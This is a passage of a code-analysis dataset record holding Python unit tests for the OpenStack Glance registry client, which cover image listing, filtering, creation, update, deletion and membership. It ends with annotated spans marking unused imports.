= _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #125',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(marker=UUID4)\n\n self.assertEquals(len(images), 2)\n self.assertEquals(images[0]['id'], UUID3)\n self.assertEquals(images[1]['id'], UUID2)", "metadata": "root.TestClient.test_get_image_index_marker", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1267 }, { "content": " def test_get_image_index_invalid_marker(self):\n \"\"\"Test exception is raised when marker is invalid\"\"\"\n self.assertRaises(exception.Invalid,\n self.client.get_images,\n marker=_gen_uuid())", "metadata": "root.TestClient.test_get_image_index_invalid_marker", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1299 }, { "content": " def test_get_image_index_limit(self):\n \"\"\"Test correct number of public images returned with limit param.\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #125',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(limit=2)\n self.assertEquals(len(images), 2)", "metadata": "root.TestClient.test_get_image_index_limit", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1305 }, { "content": " def test_get_image_index_marker_limit(self):\n \"\"\"Test correct set of images returned with marker/limit params.\"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #125',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(marker=UUID3, limit=1)\n self.assertEquals(len(images), 1)\n\n self.assertEquals(images[0]['id'], UUID2)", "metadata": "root.TestClient.test_get_image_index_marker_limit", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1332 }, { "content": " def test_get_image_index_by_base_attribute(self):\n \"\"\"Tests that an index call can be filtered by a base attribute\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n filters = {'name': 'new name! #123'}\n images = self.client.get_images(filters=filters)\n\n self.assertEquals(len(images), 1)\n self.assertEquals('new name! #123', images[0]['name'])", "metadata": "root.TestClient.test_get_image_index_by_base_attribute", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1362 }, { "content": " def test_get_image_index_by_property(self):\n \"\"\"Tests that an index call can be filtered by a property\"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None,\n 'properties': {'p a': 'v a'}}\n\n db_api.image_create(self.context, extra_fixture)\n\n filters = {'property-p a': 'v a'}\n images = self.client.get_images(filters=filters)\n\n self.assertEquals(len(images), 1)\n self.assertEquals(images[0]['id'], UUID3)", "metadata": "root.TestClient.test_get_image_index_by_property", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1381 }, { "content": " def test_get_image_details(self):\n \"\"\"Tests that the detailed info about public images returned\"\"\"\n expected = {'id': UUID2,\n 'name': 'fake image #2',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'status': 'active',\n 'size': 19,\n 'properties': {}}\n\n images = self.client.get_images_detailed()\n self.assertEquals(len(images), 1)\n\n for k, v in expected.items():\n self.assertEquals(v, images[0][k])", "metadata": "root.TestClient.test_get_image_details", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1402 }, { "content": " def test_get_image_details_marker_limit(self):\n \"\"\"Test detailed calls are filtered by marker/limit params.\"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #125',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(marker=UUID3, limit=1)\n self.assertEquals(len(images), 1)\n\n self.assertEquals(images[0]['id'], UUID2)", "metadata": "root.TestClient.test_get_image_details_marker_limit", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1419 }, { "content": " def test_get_image_details_invalid_marker(self):\n \"\"\"Test exception is raised when marker is invalid\"\"\"\n self.assertRaises(exception.Invalid,\n self.client.get_images_detailed,\n marker=_gen_uuid())", "metadata": "root.TestClient.test_get_image_details_invalid_marker", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1449 }, { "content": " def test_get_image_details_by_base_attribute(self):\n \"\"\"Tests that a detailed call can be filtered by a base attribute\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n filters = {'name': 'new name! #123'}\n images = self.client.get_images_detailed(filters=filters)\n self.assertEquals(len(images), 1)\n\n for image in images:\n self.assertEquals('new name! #123', image['name'])", "metadata": "root.TestClient.test_get_image_details_by_base_attribute", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1455 }, { "content": " def test_get_image_details_with_changes_since(self):\n \"\"\"Tests that a detailed call can be filtered by size_min\"\"\"\n dt1 = datetime.datetime.utcnow() - datetime.timedelta(1)\n iso1 = utils.isotime(dt1)\n\n dt2 = datetime.datetime.utcnow() + datetime.timedelta(1)\n iso2 = utils.isotime(dt2)\n\n dt3 = datetime.datetime.utcnow() + datetime.timedelta(2)\n iso3 = utils.isotime(dt3)\n\n dt4 = datetime.datetime.utcnow() + datetime.timedelta(3)\n iso4 = utils.isotime(dt4)\n\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'fake image #3',\n 'size': 18,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n db_api.image_destroy(self.context, UUID3)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'name': 'fake image #4',\n 'size': 20,\n 'checksum': None,\n 'created_at': dt3,\n 'updated_at': dt3}\n\n db_api.image_create(self.context, extra_fixture)\n\n # Check a standard list, 4 images in db (2 deleted)\n images = self.client.get_images_detailed(filters={})\n self.assertEquals(len(images), 2)\n self.assertEqual(images[0]['id'], UUID4)\n self.assertEqual(images[1]['id'], UUID2)\n\n # Expect 3 images (1 deleted)\n filters = {'changes-since': iso1}\n images = self.client.get_images(filters=filters)\n self.assertEquals(len(images), 3)\n self.assertEqual(images[0]['id'], UUID4)\n self.assertEqual(images[1]['id'], UUID3) # deleted\n self.assertEqual(images[2]['id'], UUID2)\n\n # Expect 1 images (0 deleted)\n filters = {'changes-since': iso2}\n images = self.client.get_images_detailed(filters=filters)\n self.assertEquals(len(images), 1)\n self.assertEqual(images[0]['id'], UUID4)\n\n # Expect 0 images (0 deleted)\n filters = {'changes-since': iso4}\n images = self.client.get_images(filters=filters)\n self.assertEquals(len(images), 0)", "metadata": "root.TestClient.test_get_image_details_with_changes_since", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1475 }, { "content": " def test_get_image_details_by_property(self):\n \"\"\"Tests that a detailed call can be filtered by a property\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None,\n 'properties': {'p a': 'v a'}}\n\n db_api.image_create(self.context, extra_fixture)\n\n filters = {'property-p a': 'v a'}\n images = self.client.get_images_detailed(filters=filters)\n self.assertEquals(len(images), 1)\n\n for image in images:\n self.assertEquals('v a', image['properties']['p a'])", "metadata": "root.TestClient.test_get_image_details_by_property", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1541 }, { "content": " def test_get_image_bad_filters_with_other_params(self):\n \"\"\"Tests that a detailed call can be filtered by a property\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None,\n 'properties': {'p a': 'v a'}}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(filters=None, limit=1)\n self.assertEquals(len(images), 1)", "metadata": "root.TestClient.test_get_image_bad_filters_with_other_params", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1562 }, { "content": " def test_get_image_meta(self):\n \"\"\"Tests that the detailed info about an image returned\"\"\"\n fixture = {'id': UUID2,\n 'name': 'fake image #2',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'status': 'active',\n 'size': 19,\n 'properties': {}}\n\n data = self.client.get_image_meta(UUID2)\n\n for k, v in fixture.items():\n self.assertEquals(v, data[k])", "metadata": "root.TestClient.test_get_image_meta", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1579 }, { "content": " def test_get_image_iso_meta(self):\n \"\"\"Tests that the detailed info about an ISO image is returned\"\"\"\n fixture = {'name': 'fake iso image',\n 'is_public': False,\n 'disk_format': 'iso',\n 'container_format': 'bare',\n 'status': 'active',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/3\",\n 'properties': {}}\n\n new_image = self.client.add_image(fixture)\n new_image_id = new_image['id']\n\n # Test all other attributes set\n data = self.client.get_image_meta(new_image_id)\n\n del fixture['location']\n for k, v in fixture.items():\n self.assertEquals(v, data[k])", "metadata": "root.TestClient.test_get_image_iso_meta", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1595 }, { "content": " def test_get_image_non_existing(self):\n \"\"\"Tests that NotFound is raised when getting a non-existing image\"\"\"\n self.assertRaises(exception.NotFound,\n self.client.get_image,\n _gen_uuid())", "metadata": "root.TestClient.test_get_image_non_existing", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1616 }, { "content": " def test_add_image_without_location_or_raw_data(self):\n \"\"\"Tests client returns image as queued\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n }\n image_meta = self.client.add_image(fixture)\n self.assertEquals('queued', image_meta['status'])\n self.assertEquals(0, image_meta['size'])", "metadata": "root.TestClient.test_add_image_without_location_or_raw_data", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1622 }, { "content": " def test_add_image_basic(self):\n \"\"\"Tests that we can add image metadata and returns the new id\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n }\n new_image = self.client.add_image(fixture)\n new_image_id = new_image['id']\n\n # Test all other attributes set\n data = self.client.get_image_meta(new_image_id)\n\n del fixture['location']\n for k, v in fixture.items():\n self.assertEquals(v, data[k])\n\n # Test status was updated properly\n self.assertTrue('status' in data.keys())\n self.assertEquals('active', data['status'])", "metadata": "root.TestClient.test_add_image_basic", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1633 }, { "content": " def test_add_image_with_properties(self):\n \"\"\"Tests that we can add image metadata with properties\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n 'properties': {'distro': 'Ubuntu 10.04 LTS'},\n }\n new_image = self.client.add_image(fixture)\n new_image_id = new_image['id']\n\n # Test all other attributes set\n data = self.client.get_image_meta(new_image_id)\n\n del fixture['location']\n for k, v in fixture.items():\n self.assertEquals(v, data[k])\n\n # Test status was updated properly\n self.assertTrue('status' in data)\n self.assertEquals('active', data['status'])", "metadata": "root.TestClient.test_add_image_with_properties", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1656 }, { "content": " def test_add_image_with_iso_properties(self):\n \"\"\"Tests that we can add image metadata with ISO disk format\"\"\"\n fixture = {'name': 'fake public iso',\n 'is_public': True,\n 'disk_format': 'iso',\n 'container_format': 'bare',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n 'properties': {'install': 'Bindows Heaven'},\n }\n new_image = self.client.add_image(fixture)\n new_image_id = new_image['id']\n\n # Test all other attributes set\n data = self.client.get_image_meta(new_image_id)\n\n del fixture['location']\n for k, v in fixture.items():\n self.assertEquals(v, data[k])\n\n # Test status was updated properly\n self.assertTrue('status' in data)\n self.assertEquals('active', data['status'])", "metadata": "root.TestClient.test_add_image_with_iso_properties", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1680 }, { "content": " def test_add_image_with_bad_iso_properties(self):\n \"\"\"\n Verify that ISO with invalid container format is rejected.\n Intended to exercise error path once rather than be exhaustive\n set of mismatches\n \"\"\"\n fixture = {'name': 'fake public iso',\n 'is_public': True,\n 'disk_format': 'iso',\n 'container_format': 'vhd',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/3\",\n 'properties': {'install': 'Bindows Heaven'},\n }\n\n self.assertRaises(exception.Invalid,\n self.client.add_image,\n fixture)", "metadata": "root.TestClient.test_add_image_with_bad_iso_properties", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1704 }, { "content": " def test_add_image_already_exists(self):\n \"\"\"Tests proper exception is raised if image with ID already exists\"\"\"\n fixture = {'id': UUID2,\n 'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'status': 'bad status',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n }\n\n self.assertRaises(exception.Duplicate,\n self.client.add_image,\n fixture)", "metadata": "root.TestClient.test_add_image_already_exists", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1723 }, { "content": " def test_add_image_with_bad_status(self):\n \"\"\"Tests a bad status is set to a proper one by server\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'status': 'bad status',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n }\n\n new_image = self.client.add_image(fixture)\n self.assertEquals(new_image['status'], 'active')", "metadata": "root.TestClient.test_add_image_with_bad_status", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1739 }, { "content": " def test_add_image_with_image_data_as_string(self):\n \"\"\"Tests can add image by passing image data as string\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'size': 19,\n 'properties': {'distro': 'Ubuntu 10.04 LTS'},\n }\n\n image_data_fixture = r\"chunk00000remainder\"\n\n new_image = self.client.add_image(fixture, image_data_fixture)\n new_image_id = new_image['id']\n\n new_meta, new_image_chunks = self.client.get_image(new_image_id)\n\n new_image_data = \"\"\n for image_chunk in new_image_chunks:\n new_image_data += image_chunk\n\n self.assertEquals(image_data_fixture, new_image_data)\n for k, v in fixture.items():\n self.assertEquals(v, new_meta[k])", "metadata": "root.TestClient.test_add_image_with_image_data_as_string", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1753 }, { "content": " def test_add_image_with_image_data_as_file(self):\n \"\"\"Tests can add image by passing image data as file\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'size': 19,\n 'properties': {'distro': 'Ubuntu 10.04 LTS'},\n }\n\n image_data_fixture = r\"chunk00000remainder\"\n\n tmp_image_filepath = '/tmp/rubbish-image'\n\n if os.path.exists(tmp_image_filepath):\n os.unlink(tmp_image_filepath)\n\n tmp_file = open(tmp_image_filepath, 'wb')\n tmp_file.write(image_data_fixture)\n tmp_file.close()\n\n new_image = self.client.add_image(fixture, open(tmp_image_filepath))\n new_image_id = new_image['id']\n\n if os.path.exists(tmp_image_filepath):\n os.unlink(tmp_image_filepath)\n\n new_meta, new_image_chunks = self.client.get_image(new_image_id)\n\n new_image_data = \"\"\n for image_chunk in new_image_chunks:\n new_image_data += image_chunk\n\n self.assertEquals(image_data_fixture, new_image_data)\n for k, v in fixture.items():\n self.assertEquals(v, new_meta[k])", "metadata": "root.TestClient.test_add_image_with_image_data_as_file", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1778 }, { "content": " def _add_image_as_iterable(self):\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'size': 10 * 65536,\n 'properties': {'distro': 'Ubuntu 10.04 LTS'},\n }\n\n class Zeros:\n def __init__(self, chunks):\n self.chunks = chunks\n self.zeros = open('/dev/zero', 'rb')\n\n def __iter__(self):\n while self.chunks > 0:\n self.chunks -= 1\n chunk = self.zeros.read(65536)\n yield chunk\n\n new_image = self.client.add_image(fixture, Zeros(10))\n new_image_id = new_image['id']\n\n new_meta, new_image_chunks = self.client.get_image(new_image_id)\n\n return (fixture, new_meta, new_image_chunks)", "metadata": "root.TestClient._add_image_as_iterable", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1815 }, { "content": " def _verify_image_iterable(self, fixture, meta, chunks):\n image_data_len = 0\n for image_chunk in chunks:\n image_data_len += len(image_chunk)\n self.assertEquals(10 * 65536, image_data_len)\n\n for k, v in fixture.items():\n self.assertEquals(v, meta[k])", "metadata": "root.TestClient._verify_image_iterable", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1842 }, { "content": " def test_add_image_with_image_data_as_iterable(self):\n \"\"\"Tests we can add image by passing image data as an iterable\"\"\"\n fixture, new_meta, new_chunks = self._add_image_as_iterable()\n\n self._verify_image_iterable(fixture, new_meta, new_chunks)", "metadata": "root.TestClient.test_add_image_with_image_data_as_iterable", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1851 }, { "content": " def test_roundtrip_image_with_image_data_as_iterable(self):\n \"\"\"Tests we can roundtrip image as an iterable\"\"\"\n fixture, new_meta, new_chunks = self._add_image_as_iterable()\n\n # duplicate directly from iterable returned from get\n dup_image = self.client.add_image(fixture, new_chunks)\n dup_image_id = dup_image['id']\n\n roundtrip_meta, roundtrip_chunks = self.client.get_image(dup_image_id)\n\n self._verify_image_iterable(fixture, roundtrip_meta, roundtrip_chunks)", "metadata": "root.TestClient.test_roundtrip_image_with_image_data_as_iterable", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1857 }, { "content": " def test_add_image_with_image_data_as_string_and_no_size(self):\n \"\"\"Tests add image by passing image data as string w/ no size attr\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'properties': {'distro': 'Ubuntu 10.04 LTS'},\n }\n\n image_data_fixture = r\"chunk00000remainder\"\n\n new_image = self.client.add_image(fixture, image_data_fixture)\n new_image_id = new_image['id']\n new_meta, new_image_chunks = self.client.get_image(new_image_id)\n\n new_image_data = \"\"\n for image_chunk in new_image_chunks:\n new_image_data += image_chunk\n\n self.assertEquals(image_data_fixture, new_image_data)\n for k, v in fixture.items():\n self.assertEquals(v, new_meta[k])\n\n self.assertEquals(19, new_meta['size'])", "metadata": "root.TestClient.test_add_image_with_image_data_as_string_and_no_size", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1869 }, { "content": " def test_add_image_with_bad_store(self):\n \"\"\"Tests BadRequest raised when supplying bad store name in meta\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'size': 19,\n 'store': 'bad',\n 'properties': {'distro': 'Ubuntu 10.04 LTS'},\n }\n\n image_data_fixture = r\"chunk00000remainder\"\n\n self.assertRaises(exception.Invalid,\n self.client.add_image,\n fixture,\n image_data_fixture)", "metadata": "root.TestClient.test_add_image_with_bad_store", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1894 }, { "content": " def test_update_image(self):\n \"\"\"Tests that the /images PUT registry API updates the image\"\"\"\n fixture = {'name': 'fake public image #2',\n 'disk_format': 'vmdk'}\n\n self.assertTrue(self.client.update_image(UUID2, fixture))\n\n # Test all other attributes set\n data = self.client.get_image_meta(UUID2)\n\n for k, v in fixture.items():\n self.assertEquals(v, data[k])", "metadata": "root.TestClient.test_update_image", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1912 }, { "content": " def test_update_image_not_existing(self):\n \"\"\"Tests non existing image update doesn't work\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'status': 'bad status',\n }\n\n self.assertRaises(exception.NotFound,\n self.client.update_image,\n _gen_uuid(),\n fixture)", "metadata": "root.TestClient.test_update_image_not_existing", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1925 }, { "content": " def test_delete_image(self):\n \"\"\"Tests that image metadata is deleted properly\"\"\"\n # Grab the original number of images\n orig_num_images = len(self.client.get_images())\n\n # Delete image #2\n self.assertTrue(self.client.delete_image(UUID2))\n\n # Verify one less image\n new_num_images = len(self.client.get_images())\n\n self.assertEquals(new_num_images, orig_num_images - 1)", "metadata": "root.TestClient.test_delete_image", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1939 }, { "content": " def test_delete_image_not_existing(self):\n \"\"\"Tests cannot delete non-existing image\"\"\"\n self.assertRaises(exception.NotFound,\n self.client.delete_image,\n _gen_uuid())", "metadata": "root.TestClient.test_delete_image_not_existing", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1952 }, { "content": " def test_get_member_images(self):\n \"\"\"Tests getting image members\"\"\"\n memb_list = self.client.get_image_members(UUID2)\n num_members = len(memb_list)\n self.assertEquals(num_members, 0)", "metadata": "root.TestClient.test_get_member_images", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1958 }, { "content": " def test_get_image_members_not_existing(self):\n \"\"\"Tests getting non-existant image members\"\"\"\n self.assertRaises(exception.NotFound,\n self.client.get_image_members,\n _gen_uuid())", "metadata": "root.TestClient.test_get_image_members_not_existing", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1964 }, { "content": " def test_get_member_images(self):\n \"\"\"Tests getting member images\"\"\"\n memb_list = self.client.get_member_images('pattieblack')\n num_members = len(memb_list)\n self.assertEquals(num_members, 0)", "metadata": "root.TestClient.test_get_member_images", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1970 }, { "content": " def test_replace_members(self):\n \"\"\"Tests replacing image members\"\"\"\n self.assertRaises(exception.NotAuthorized,\n self.client.replace_members, UUID2,\n dict(member_id='pattieblack'))", "metadata": "root.TestClient.test_replace_members", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1976 }, { "content": " def test_add_member(self):\n \"\"\"Tests adding image members\"\"\"\n self.assertRaises(exception.NotAuthorized,\n self.client.add_member, UUID2, 'pattieblack')", "metadata": "root.TestClient.test_add_member", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1982 }, { "content": " def test_delete_member(self):\n \"\"\"Tests deleting image members\"\"\"\n self.assertRaises(exception.NotAuthorized,\n self.client.delete_member, UUID2, 'pattieblack')", "metadata": "root.TestClient.test_delete_member", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1987 }, { "content": "class TestConfigureClientFromURL(unittest.TestCase):\n\n\n", "metadata": "root.TestConfigureClientFromURL", "header": "['module', '___EOS___']", "index": 1993 }, { "content": " def setUp(self):\n self.client = client.Client(\"0.0.0.0\", doc_root=\"\")", "metadata": "root.TestConfigureClientFromURL.setUp", "header": "['class', 'TestConfigureClientFromURL', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1994 }, { "content": " def assertConfiguration(self, url, host, port, use_ssl, doc_root):\n self.client.configure_from_url(url)\n self.assertEquals(host, self.client.host)\n self.assertEquals(port, self.client.port)\n self.assertEquals(use_ssl, self.client.use_ssl)\n self.assertEquals(doc_root, self.client.doc_root)", "metadata": "root.TestConfigureClientFromURL.assertConfiguration", "header": "['class', 'TestConfigureClientFromURL', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1997 }, { "content": " def test_no_port_no_ssl_no_doc_root(self):\n self.assertConfiguration(\n url='http://www.example.com',\n host='www.example.com',\n port=80,\n use_ssl=False,\n doc_root=''\n )", "metadata": "root.TestConfigureClientFromURL.test_no_port_no_ssl_no_doc_root", "header": "['class', 'TestConfigureClientFromURL', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2004 }, { "content": " def test_port_ssl_doc_root(self):\n self.assertConfiguration(\n url='https://www.example.com:8000/prefix/',\n host='www.example.com',\n port=8000,\n use_ssl=True,\n doc_root='/prefix/'\n )", "metadata": "root.TestConfigureClientFromURL.test_port_ssl_doc_root", "header": "['class', 'TestConfigureClientFromURL', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2013 } ]
[ { "span": "import json", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 11 }, { "span": "import StringIO", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 15 }, { "span": "import stubout", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 14 }, { "span": "import webob", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 12 }, { "span": "from glance.common import context", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 33 }, { "span": "from glance.tests import stubs", "start_line": 35, "start_column": 0, "end_line": 35, "end_column": 30 }, { "span": "from glance.tests import utils as test_utils", "start_line": 36, "start_column": 0, "end_line": 36, "end_column": 44 } ]
[]
1
false
